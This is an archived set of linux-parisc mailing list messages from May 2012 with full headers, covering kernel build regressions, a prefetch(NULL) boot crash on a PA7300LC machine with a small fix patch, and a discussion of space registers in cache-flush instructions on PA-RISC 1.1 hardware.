Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759827Ab2EPIrR convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 04:47:17 -0400
Original-Received: from mail-gg0-f174.google.com ([209.85.161.174]:49900 "EHLO
	mail-gg0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759761Ab2EPIrO convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 04:47:14 -0400
Original-Received: by gglu4 with SMTP id u4so435698ggl.19
        for <multiple recipients>; Wed, 16 May 2012 01:47:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=986xVWWaKc2XMnMTVj7CzKbomBzeQXQMV2JigYQgysk=;
        b=lZnVdluaxbPiRk4YyD3XFdXiyiq4E3kEyB9NxGUrHjBNMVmqoUoRwm7ih8OAo+pa/P
         9EHXaM1jYhH4JnMcgCHf2D813MBdwoqKBmS+cLvv2pTKgO1jrrqP0A0oqetUzEzsQO3o
         ty/CtB0pBTrcTZChuHC/OEOdZBiuv4xzhpdCkbr1qacTrDgnBCGi5shppXd1PfJtiwnv
         kz0UsBr/US/jl4WDrD3xmRscOAjfuRDtvmtaOx8Mflpnqyx3w3PazX3cy9lRNrz0dk+5
         UeewuGNUQA4EA5h5XUHan1ImzzbSlxB/3W+g1OvdN6ytlkPeXUkSqVkh8Mim5R1/2z3O
         C3pQ==
Original-Received: by 10.50.183.162 with SMTP id en2mr1236875igc.44.1337158033326; Wed,
 16 May 2012 01:47:13 -0700 (PDT)
Original-Received: by 10.231.253.93 with HTTP; Wed, 16 May 2012 01:47:13 -0700 (PDT)
In-Reply-To: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>
X-Google-Sender-Auth: Jcv9hxKdZn6dOC56sFi_AHoCJqQ
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4405 gmane.linux.kernel:1298082 gmane.linux.ports.ppc64.devel:82116
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4405>

On Wed, May 16, 2012 at 10:30 AM, Geert Uytterhoeven
<geert@linux-m68k.org> wrote:
> JFYI, when comparing v3.4-rc7 to v3.4-rc6[3], the summaries are:
> =C2=A0- build errors: +15/-14

15 regressions:
  + arch/powerpc/platforms/512x/mpc512x_shared.c: error: 'enum
fsl_diu_monitor_port' declared inside parameter list [-Werror]:  =3D>
70:9, 84:9, 88:36
  + arch/powerpc/platforms/512x/mpc512x_shared.c: error: 'return' with
a value, in function returning void [-Werror]:  =3D> 189:2
  + arch/powerpc/platforms/512x/mpc512x_shared.c: error: function
declaration isn't a prototype [-Werror=3Dstrict-prototypes]:  =3D> 69:5=
,
88:6, 83:6, 187:1
  + arch/powerpc/platforms/512x/mpc512x_shared.c: error: its scope is
only this definition or declaration, which is probably not what you
want [-Werror]:  =3D> 70:9
  + drivers/virt/fsl_hypervisor.c: error: 'MSR_GS' undeclared (first
use in this function):  =3D> 799:80

powerpc randconfig

  + arch/x86/include/asm/uaccess_32.h: error: call to
'copy_from_user_overflow' declared with attribute error:
copy_from_user() buffer size is not provably correct:  =3D> 211:26

error in i386-randconfig, warning in i386-defconfig

  + drivers/ptp/ptp_pch.c: error: implicit declaration of function
'kfree' [-Werror=3Dimplicit-function-declaration]:  =3D> 576:2
  + drivers/ptp/ptp_pch.c: error: implicit declaration of function
'kzalloc' [-Werror=3Dimplicit-function-declaration]:  =3D> 587:2

Patch send.

  + error: "handle_edge_irq" [drivers/gpio/gpio-pch.ko] undefined!:  =3D=
> N/A
  + error: "irq_to_desc" [drivers/gpio/gpio-pch.ko] undefined!:  =3D> N=
/A

=46ixed in the mean time, I guess.

  + error: No rule to make target include/config/auto.conf:  =3D> N/A

x86_64-randconfig

  + lib/mpi/generic_mpih-mul1.c: error: inconsistent operand
constraints in an 'asm':  =3D> 50:70
  + lib/mpi/generic_mpih-mul2.c: error: inconsistent operand
constraints in an 'asm':  =3D> 49:70
  + lib/mpi/generic_mpih-mul3.c: error: inconsistent operand
constraints in an 'asm':  =3D> 49:70
  + lib/mpi/mpih-div.c: error: inconsistent operand constraints in an
'asm':  =3D> 135:122, 135:371, 97:122, 106:121, 106:370, 97:371

parisc-allmodconfig

Gr{oetje,eeting}s,

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 10:27:31 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <1337160451.2985.23.camel@dabdike.int.hansenpartnership.com>
References: <4FA9975C.5060708@bergerie>
	 <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	 <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	 <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	 <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	 <1337069366.3005.10.camel@dabdike.lan>
	 <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	 <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
	 <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
	 <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
	 <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337160496 15624 80.91.229.3 (16 May 2012 09:28:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 09:28:16 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 11:28:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUaWi-00017h-9F
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 11:28:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966292Ab2EPJ1w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 05:27:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56975 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759827Ab2EPJ1f (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 05:27:35 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8D5BE8EE0DD;
	Wed, 16 May 2012 02:27:34 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id V3OA6msI7by9; Wed, 16 May 2012 02:27:34 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 410BC8EE081;
	Wed, 16 May 2012 02:27:33 -0700 (PDT)
In-Reply-To: <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4406
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4406>

On Wed, 2012-05-16 at 08:27 +0100, James Bottomley wrote:
> My current attempts to boot a B180 are failing on RCU:
> 
> Initializing cgroup subsys cpuacct
> Initializing cgroup subsys memory
> Initializing cgroup subsys devices
> Initializing cgroup subsys freezer
> devtmpfs: initialized
> NET: Registered protocol family 16
> Backtrace:
>  [<10180fc4>] rcu_process_callbacks+0x20/0x40
>  [<101330b0>] __do_softirq+0xd8/0x190
>  [<101331d0>] run_ksoftirqd+0x68/0x118
>  [<1014a144>] kthread+0xac/0xb4
>  [<1010305c>] ret_from_kernel_thread+0x1c/0x24
> 
> 
> Kernel Fault: Code=26 regs=2ec3c2c0 (Addr=00000000)

OK, debugged this: it's a prefetch(NULL) in the RCU code.  Apparently on
the PA7300LC processor, which is what my B180 has, this is actually
generating a dtlb insertion interruption.  The fix is to nullify the
prefetch if the address is zero, which I'm testing out now.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 11:09:55 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <1337162995.2985.34.camel@dabdike.int.hansenpartnership.com>
References: <4FA9975C.5060708@bergerie>
	 <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	 <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	 <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	 <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	 <1337069366.3005.10.camel@dabdike.lan>
	 <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	 <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
	 <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
	 <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
	 <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com>
	 <1337160451.2985.23.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337163016 4418 80.91.229.3 (16 May 2012 10:10:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 10:10:16 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 12:10:14 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUbBN-0001Qe-8F
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 12:10:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759940Ab2EPKKB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 06:10:01 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57039 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759894Ab2EPKJ7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 06:09:59 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E90E88EE0DD;
	Wed, 16 May 2012 03:09:58 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 1SFfamconJj3; Wed, 16 May 2012 03:09:58 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 891D78EE081;
	Wed, 16 May 2012 03:09:57 -0700 (PDT)
In-Reply-To: <1337160451.2985.23.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4407>

On Wed, 2012-05-16 at 10:27 +0100, James Bottomley wrote:
> On Wed, 2012-05-16 at 08:27 +0100, James Bottomley wrote:
> > My current attempts to boot a B180 are failing on RCU:
> > 
> > Initializing cgroup subsys cpuacct
> > Initializing cgroup subsys memory
> > Initializing cgroup subsys devices
> > Initializing cgroup subsys freezer
> > devtmpfs: initialized
> > NET: Registered protocol family 16
> > Backtrace:
> >  [<10180fc4>] rcu_process_callbacks+0x20/0x40
> >  [<101330b0>] __do_softirq+0xd8/0x190
> >  [<101331d0>] run_ksoftirqd+0x68/0x118
> >  [<1014a144>] kthread+0xac/0xb4
> >  [<1010305c>] ret_from_kernel_thread+0x1c/0x24
> > 
> > 
> > Kernel Fault: Code=26 regs=2ec3c2c0 (Addr=00000000)
> 
> OK, debugged this: it's a prefetch(NULL) in the RCU code.  Apparently on
> the PA7300LC processor, which is what my B180 has, this is actually
> generating a dtlb insertion interruption.  The fix is to nullify the
> prefetch if the address is zero, which I'm testing out now.

OK, confirmed, my B180 finally boot.  This is the final patch it needed.

James

---

diff --git a/arch/parisc/include/asm/prefetch.h b/arch/parisc/include/asm/prefetch.h
index c5edc60..1ee7c82 100644
--- a/arch/parisc/include/asm/prefetch.h
+++ b/arch/parisc/include/asm/prefetch.h
@@ -21,7 +21,12 @@
 #define ARCH_HAS_PREFETCH
 static inline void prefetch(const void *addr)
 {
-	__asm__("ldw 0(%0), %%r0" : : "r" (addr));
+	__asm__(
+#ifndef CONFIG_PA20
+		/* Need to avoid prefetch of NULL on PA7300LC */
+		"	extrw,u,= %0,31,32,%%r0\n"
+#endif
+		"	ldw 0(%0), %%r0" : : "r" (addr));
 }
 
 /* LDD is a PA2.0 addition. */


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 06:49:36 -0400
Lines: 142
Approved: news@gmane.org
Message-ID: <BLU0-SMTP33D40958DB8FE0DF238A7197180@phx.gbl>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl> <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl> <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net> <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de> <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de> <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337165400 23868 80.91.229.3 (16 May 2012 10:50:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 10:50:00 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 12:49:57 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUbno-00070x-Mh
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 12:49:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967172Ab2EPKt4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 06:49:56 -0400
Original-Received: from blu0-omc3-s36.blu0.hotmail.com ([65.55.116.111]:34986 "EHLO
	blu0-omc3-s36.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S966987Ab2EPKtz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 06:49:55 -0400
Original-Received: from BLU0-SMTP33 ([65.55.116.73]) by blu0-omc3-s36.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 16 May 2012 03:49:54 -0700
X-Originating-IP: [64.229.85.15]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.15]) by BLU0-SMTP33.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 16 May 2012 03:49:52 -0700
In-Reply-To: <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 16 May 2012 10:49:53.0258 (UTC) FILETIME=[9FF47CA0:01CD3351]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4408
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4408>

On 16-May-12, at 3:27 AM, James Bottomley wrote:

> On Tue, 2012-05-15 at 22:28 +0200, Helge Deller wrote:
>> On 05/15/2012 10:05 PM, John David Anglin wrote:
>>> On 5/15/2012 3:59 PM, Helge Deller wrote:
>>>> On 05/15/2012 09:46 PM, John David Anglin wrote:
>>>>> On 5/15/2012 3:24 PM, John David Anglin wrote:
>>>>>> James patch now let my 715/64 boot, but still crashes on my  
>>>>>> B160L:
>>>>>>>
>>>>>>> swapper (pid 1): Illegal instruction (code 8)
>>>>>>>
>>>>>>>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>>>>> PSW: 00000000000001001110000100001111 Not tainted
>>>>>>> r00-03  0004e10f 00000020 101198cc 17c245c0
>>>>>>> r04-07  ffeff000 17ec05f8 007d4000 17e60260
>>>>>>> r08-11  17c5100b fffff000 17e60310 00020000
>>>>>>> r12-15  00000ffc 0000000b 00000000 ffeff000
>>>>>>> r16-19  007d4000 10768020 10000000 17c22db8
>>>>>>> r20-23  17c245c8 108fc000 00000001 00000020
>>>>>>> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
>>>>>>> r28-31  0f2ff000 000074ee 17c24640 000072e6
>>>>>>> sr00-03  00000000 00000001 00000000 00000000
>>>>>>> sr04-07  00000000 00000000 00000000 00000000
>>>>>>>
>>>>>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>>>>>>> IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
>>>>>>> CPU:        0   CR30: 17c24000 CR31: f0102978
>>>>>>> ORIG_R28: 17ebbe40
>>>>>>> IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>>>>>>> IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>>>>>>> RP(r2): flush_cache_page+0x90/0xb0
>>>>>>> Backtrace:
>>>>>> This one is in a different place: flush_icache_page_asm.  It has
>>>>>> crashed on the first fic,m instruction.  Again it is an illegal
>>>>>> instruction.
>>>>>>
>>>>> Looking at the PA 1.1 arch, I see that the space register needs  
>>>>> to be
>>>>> explicitly specified on PA 1.1 (format 26).  The implicit  
>>>>> (format 24)
>>>>> instruction was added in PA 2.0.
>>>>>
>>>>> Could you try adding %sr0 to the fic instructions?
>>>> no illegal instruction any longer, but "bad address"....
>>>> I changed all to " fic,m           %r1(%sr0,%r28)"
>>>>
>>>>
>>>>
>>>> Freeing unused kernel memory: 320k freed
>>>> Backtrace:
>>>> [<101198cc>] flush_cache_page+0x90/0xb0
>>>> [<101b9b84>] do_wp_page+0x1e0/0x7b4
>>>> [<101bb970>] handle_pte_fault+0x284/0x7c0
>>>> [<101bbf74>] handle_mm_fault+0xc8/0x120
>>>> [<10118cc8>] do_page_fault+0x228/0x2d0
>>>> [<1011a838>] handle_interruption+0x1d4/0x6c4
>>>> [<10105078>] intr_check_sig+0x0/0x34
>>>>
>>>>
>>>> Bad Address (null pointer deref?): Code=17 regs=17c244c0  
>>>> (Addr=0f17d000)
>>>>
>>>>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>> PSW: 00000000000001001111100100001111 Not tainted
>>>> r00-03  0004f90f 00000020 101198cc 17c24440
>>>> r04-07  4017d4c4 17ebf498 007cd000 007cdb05
>>>> r08-11  17ebee40 17ec55f4 107eb7c0 10768020
>>>> r12-15  000007cd 17ebee74 000005f4 00050000
>>>> r16-19  17c23098 17c24140 0011849c 17c22db8
>>>> r20-23  0000004b 108fc000 00000000 00000000
>>>> r24-27  000007cd 0f17dfe0 0000f9a0 106e2020
>>>> r28-31  0f17d000 17c23098 17c244c0 6fffffff
>>>> sr00-03  00000800 00000001 00000000 00000001
>>>> sr04-07  00000000 00000000 00000000 00000000
>>>>
>>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>>>> IIR: 078102a0    ISR: 00000800  IOR: 0f17d000
>>>> CPU:        0   CR30: 17c24000 CR31: f0102978
>>>> ORIG_R28: 17c51000
>>>> IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>>>> IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>>>> RP(r2): flush_cache_page+0x90/0xb0
>>>> Backtrace:
>>>> [<101198cc>] flush_cache_page+0x90/0xb0
>>>> [<101b9b84>] do_wp_page+0x1e0/0x7b4
>>>> [<101bb970>] handle_pte_fault+0x284/0x7c0
>>>> [<101bbf74>] handle_mm_fault+0xc8/0x120
>>>> [<10118cc8>] do_page_fault+0x228/0x2d0
>>>> [<1011a838>] handle_interruption+0x1d4/0x6c4
>>>> [<10105078>] intr_check_sig+0x0/0x34
>>>>
>>>>
>>>>
>>>>
>>> Try %sr2 or %sr4.  %sr0 isn't zero.
>>
>> Dave, great, you fixed it !
>> All my machines now boot the 32bit kernel.
>> %sr2 does not work since it becomes a value unequal to zero later  
>> in the
>> boot process.
>> %sr4 did worked - it's actually used further down in pacache.S in
>> flush_kernel_icache_page() as well...
>
> Right, in the two byte space encoding, which is what we usually do, a
> zero means use the correct quadrant space register (i.e. %sr4  
> through %
> sr7 depending on which quadrant we're in.  Since PA doesn't use
> quadrants, we keep them all at the space of the context - i.e. zero  
> for
> kernel).  The 24 bit form of the instruction has an explicit space
> requirement, so you have to specify manually, which means just pick  
> any
> of %sr4-%sr7 since they're always the same.

Don't forget to update the purge TLB instructions before and after the  
loop.

>> I still have the problem that my B160L "hangs" during boot after
>> starting crond - but I'm not sure if this is related to your patches
>> since the other machines do work.
>> Maybe it's just some userspace trouble....
>>
>> Will you send your patches to Linus as he requested in the other  
>> mail?
>
> I'll take care of the urgent ones once we have a set of booting  
> kernels.


Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 11:57:37 +0100
Lines: 213
Approved: news@gmane.org
Message-ID: <1337165857.2985.36.camel@dabdike.int.hansenpartnership.com>
References: <4FA9975C.5060708@bergerie>
	 <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	 <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	 <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	 <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	 <1337069366.3005.10.camel@dabdike.lan>
	 <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	 <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
	 <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
	 <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
	 <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com>
	 <BLU0-SMTP33D40958DB8FE0DF238A7197180@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337165867 27742 80.91.229.3 (16 May 2012 10:57:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 10:57:47 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 12:57:46 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUbvL-0004lw-3S
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 12:57:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967260Ab2EPK5m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 06:57:42 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57103 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S967019Ab2EPK5l (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 06:57:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 180428EE0DD;
	Wed, 16 May 2012 03:57:41 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
